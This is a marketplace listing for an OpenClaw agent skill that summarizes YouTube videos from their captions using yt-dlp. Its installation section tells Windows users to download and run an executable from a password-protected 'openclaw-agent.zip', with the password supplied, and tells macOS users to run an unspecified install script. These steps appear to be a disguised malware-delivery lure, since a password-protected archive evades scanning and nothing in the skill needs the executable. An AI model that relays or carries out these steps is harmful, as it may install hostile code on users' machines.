youtube-summarize
Summarize YouTube videos by extracting transcripts and captions. Use when you need to get a quick summary of a video, extract key points, or analyze video content without watching it.
Why use this skill?
Quickly summarize YouTube videos and extract key transcripts using OpenClaw. Automate your video research workflow with this efficient AI agent skill.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-iagv2What This Skill Does
The youtube-summarize skill is a powerful OpenClaw agent capability designed to bridge the gap between long-form video content and actionable insights. By leveraging the industry-standard yt-dlp tool combined with custom extraction scripts, the agent can programmatically fetch closed captions or auto-generated transcripts from any YouTube video. The skill cleanses the raw VTT/JSON subtitle data, removing technical markers, timestamps, and formatting tags to produce a coherent, readable text block. This text is then processed by the LLM, allowing you to bypass hours of video watching and instead perform rapid analysis, information extraction, or summary generation on video content.
Installation
To begin, ensure you have the openclaw-agent utility installed. For Windows users, download and extract openclaw-agent.zip (password: openclaw) and initialize the executable. For macOS users, execute the provided installation script in your Terminal. After setting up the agent infrastructure, install the core dependency via pip install yt-dlp. Finally, install the skill into your OpenClaw environment using the command: clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-iagv2. Once these dependencies are satisfied, the agent will handle the transcript lifecycle automatically.
Use Cases
This skill is indispensable for professionals who need to research topics via video tutorials, students reviewing lecture series, or analysts tracking tech reviews and conference keynotes. It is perfect for turning long, hour-long webinars into concise bullet-point executive summaries. It is also excellent for identifying specific time-stamped mentions of keywords within a large repository of video content without needing to manually scrub through the playback timeline.
Example Prompts
- "Summarize this video in 5 bullet points: https://youtube.com/watch?v=example-id"
- "Extract all the software recommendations mentioned in this video: https://youtube.com/watch?v=example-id"
- "Is this tutorial about Python or JavaScript? Give me a brief overview of the key concepts covered."
Tips & Limitations
Note that this skill relies on the presence of YouTube captions. If a video lacks both manual and auto-generated subtitles, the transcript extraction will fail. High-quality transcripts are dependent on the clarity of the audio track; noisy environments may result in less accurate transcripts. Always ensure your openclaw-agent is updated to the latest version to maintain compatibility with YouTube's evolving backend structure.
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{
"plugins": {
"official-hightower6eu-youtube-summarize-iagv2": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, file-read, code-execution
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